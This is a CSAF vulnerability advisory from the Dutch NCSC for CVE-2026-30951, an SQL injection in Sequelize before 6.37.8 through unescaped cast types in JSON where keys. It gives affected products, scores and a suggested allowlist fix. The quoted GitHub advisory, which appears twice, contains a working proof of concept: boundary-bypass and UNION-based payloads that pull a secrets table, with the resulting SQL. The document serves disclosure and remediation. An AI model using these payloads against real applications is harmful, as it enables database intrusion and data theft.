{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-30951", "tracking": { "current_release_date": "2026-03-20T09:34:18.925599Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-30951", "initial_release_date": "2026-03-10T21:29:39.196380Z", "revision_history": [ { "date": "2026-03-10T21:29:39.196380Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-10T21:29:43.423962Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-10T21:39:56.522595Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-10T21:39:58.661995Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-11T00:53:19.401293Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-11T00:53:22.647642Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-11T01:38:57.415925Z", "number": "7", "summary": "Products created (1).| Products removed (1)." }, { "date": "2026-03-11T12:27:55.694053Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (8).| Product Identifiers created (4).| Product Remediations created (8).| References created (3).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-11T12:28:03.204029Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-11T14:54:56.276267Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-11T14:54:59.471589Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-11T15:39:35.023397Z", "number": "12", "summary": "Unknown change." }, { "date": "2026-03-11T15:39:38.280142Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-18T19:25:18.705543Z", "number": "14", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-18T19:25:21.583522Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-19T15:29:38.415950Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-19T15:29:41.155884Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:33:29.453228Z", "number": "18", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:34:16.185910Z", "number": "19", "summary": "NCSC Score updated." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-2905027", "product_identification_helper": { "cpe": "cpe:/a:redhat:confidential_compute_attestation:1" } } } ], "category": "product_name", "name": "Confidential Compute Attestation" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/10", "product": { "name": "vers:rpm/10", "product_id": "CSAFPID-2858634", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:10" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/9", "product": { "name": "vers:rpm/9", "product_id": "CSAFPID-1439319", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:9" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/6", "product": { "name": "vers:rpm/6", "product_id": "CSAFPID-1439313", "product_identification_helper": { "cpe": "cpe:/a:redhat:satellite:6" } } } ], "category": "product_name", "name": "Red Hat Satellite 6" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222941" } } ], "category": "product_name", "name": "iop-remediations-rhel9" } ], "category": "product_family", "name": "Red Hat Satellite 6" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5449646" } } ], "category": "product_name", "name": "linux-sgx" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5449647" } } ], "category": "product_name", "name": "linux-sgx" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5449644" } } ], "category": "product_name", "name": "osc-pccs" } ], "category": "product_family", "name": "Confidential Compute Attestation" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<6.37.8", "product": { "name": "vers:unknown/<6.37.8", "product_id": "CSAFPID-5845001", "product_identification_helper": { "cpe": "cpe:2.3:a:sequelizejs:sequelize:*:*:*:*:*:node.js:*:*" } } } ], "category": "product_name", "name": "Sequelize" } ], "category": "vendor", "name": "Sequelize" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=6.0.0-beta.1|<6.37.8", "product": { "name": "vers:unknown/>=6.0.0-beta.1|<6.37.8", "product_id": "CSAFPID-5785457" } } ], "category": "product_name", "name": "sequelize" } ], "category": "vendor", "name": "sequelize" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-30951", "cwe": { "id": "CWE-89", "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" }, "notes": [ { "category": "description", "text": "Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS ) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30951" }, { "category": "description", "text": "Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS ) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30951" }, { "category": "description", "text": "### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS )` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n let cast;\n if (path[path.length - 1].includes(\"::\")) {\n const tmp = path[path.length - 1].split(\"::\");\n cast = tmp[1]; // attacker-controlled, no escaping\n path[path.length - 1] = tmp[0];\n }\n // ...\n items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** — whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n 'integer', 'text', 'real', 'numeric', 'boolean', 'date',\n 'timestamp', 'timestamptz', 'json', 'jsonb', 'float',\n 'double precision', 'bigint', 'smallint', 'varchar', 'char',\n]);\n\nif (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require('sequelize');\n\nasync function main() {\n const sequelize = new Sequelize('sqlite::memory:', { logging: false });\n\n const User = sequelize.define('User', {\n username: DataTypes.STRING,\n metadata: DataTypes.JSON,\n });\n\n const Secret = sequelize.define('Secret', {\n key: DataTypes.STRING,\n value: DataTypes.STRING,\n });\n\n await sequelize.sync({ force: true });\n\n await User.bulkCreate([\n { username: 'alice', metadata: { role: 'admin', level: 10 } },\n { username: 'bob', metadata: { role: 'user', level: 5 } },\n { username: 'charlie', metadata: { role: 'user', level: 1 } },\n ]);\n\n await Secret.bulkCreate([\n { key: 'api_key', value: 'sk-secret-12345' },\n { key: 'db_password', value: 'super_secret_password' },\n ]);\n\n // TEST 1: WHERE clause bypass\n const r1 = await User.findAll({\n where: { metadata: { 'role::text) or 1=1--': 'anything' } },\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('OR 1=1:', r1.map(u => u.username));\n // Returns ALL rows: ['alice', 'bob', 'charlie']\n\n // TEST 2: UNION-based cross-table exfiltration\n const r2 = await User.findAll({\n where: {\n metadata: {\n 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'\n }\n },\n raw: true,\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));\n // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';\nOR 1=1: [ 'alice', 'bob', 'charlie' ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0\n UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';\nUNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post('/api/users/search', async (req, res) => {\n const users = await User.findAll({\n where: { metadata: req.body.filter } // user controls JSON object keys\n });\n res.json(users);\n});\n```", "title": "github - https://github.com/advisories/GHSA-6457-6jrx-69cr" }, { "category": "description", "text": "No description is available for this CVE.", "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-30951" }, { "category": "description", "text": "### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS )` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n let cast;\n if (path[path.length - 1].includes(\"::\")) {\n const tmp = path[path.length - 1].split(\"::\");\n cast = tmp[1]; // attacker-controlled, no escaping\n path[path.length - 1] = tmp[0];\n }\n // ...\n items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** — whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n 'integer', 'text', 'real', 'numeric', 'boolean', 'date',\n 'timestamp', 'timestamptz', 'json', 'jsonb', 'float',\n 'double precision', 'bigint', 'smallint', 'varchar', 'char',\n]);\n\nif (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require('sequelize');\n\nasync function main() {\n const sequelize = new Sequelize('sqlite::memory:', { logging: false });\n\n const User = sequelize.define('User', {\n username: DataTypes.STRING,\n metadata: DataTypes.JSON,\n });\n\n const Secret = sequelize.define('Secret', {\n key: DataTypes.STRING,\n value: DataTypes.STRING,\n });\n\n await sequelize.sync({ force: true });\n\n await User.bulkCreate([\n { username: 'alice', metadata: { role: 'admin', level: 10 } },\n { username: 'bob', metadata: { role: 'user', level: 5 } },\n { username: 'charlie', metadata: { role: 'user', level: 1 } },\n ]);\n\n await Secret.bulkCreate([\n { key: 'api_key', value: 'sk-secret-12345' },\n { key: 'db_password', value: 'super_secret_password' },\n ]);\n\n // TEST 1: WHERE clause bypass\n const r1 = await User.findAll({\n where: { metadata: { 'role::text) or 1=1--': 'anything' } },\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('OR 1=1:', r1.map(u => u.username));\n // Returns ALL rows: ['alice', 'bob', 'charlie']\n\n // TEST 2: UNION-based cross-table exfiltration\n const r2 = await User.findAll({\n where: {\n metadata: {\n 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'\n }\n },\n raw: true,\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));\n // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';\nOR 1=1: [ 'alice', 'bob', 'charlie' ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0\n UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';\nUNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post('/api/users/search', async (req, res) => {\n const users = await User.findAll({\n where: { metadata: req.body.filter } // user controls JSON object keys\n });\n res.json(users);\n});\n```", "title": "github - https://api.github.com/advisories/GHSA-6457-6jrx-69cr" }, { "category": "other", "text": "0.00044", "title": "EPSS" }, { "category": "other", "text": "3.7", "title": "NCSC Score" }, { "category": "other", "text": "There is product_remediation data available from source Redhat, There is exploit data available from source Nvd, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 3\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5785457", "CSAFPID-1439313", "CSAFPID-1439319", "CSAFPID-2858634", "CSAFPID-2905027", "CSAFPID-5222941", "CSAFPID-5449644", "CSAFPID-5449646", "CSAFPID-5449647", "CSAFPID-5845001" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30951" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30951" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-30951" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30951.json" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-6457-6jrx-69cr" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-6457-6jrx-69cr" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-30951" }, { "category": "external", "summary": "Source raw - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30951.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30951" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-6457-6jrx-69cr" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr" }, { "category": "external", "summary": "Reference - github; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30951" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-6457-6jrx-69cr" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-30951" } ], "remediations": [ { "category": "mitigation", "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.", "product_ids": [ "CSAFPID-1439313", "CSAFPID-1439319", "CSAFPID-2858634", "CSAFPID-2905027", "CSAFPID-5222941", "CSAFPID-5449644", "CSAFPID-5449646", "CSAFPID-5449647" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-1439313", "CSAFPID-1439319", "CSAFPID-2858634", "CSAFPID-2905027", "CSAFPID-5222941", "CSAFPID-5449644", "CSAFPID-5449646", "CSAFPID-5449647", "CSAFPID-5785457", "CSAFPID-5845001" ] } ], "title": "CVE-2026-30951" } ] }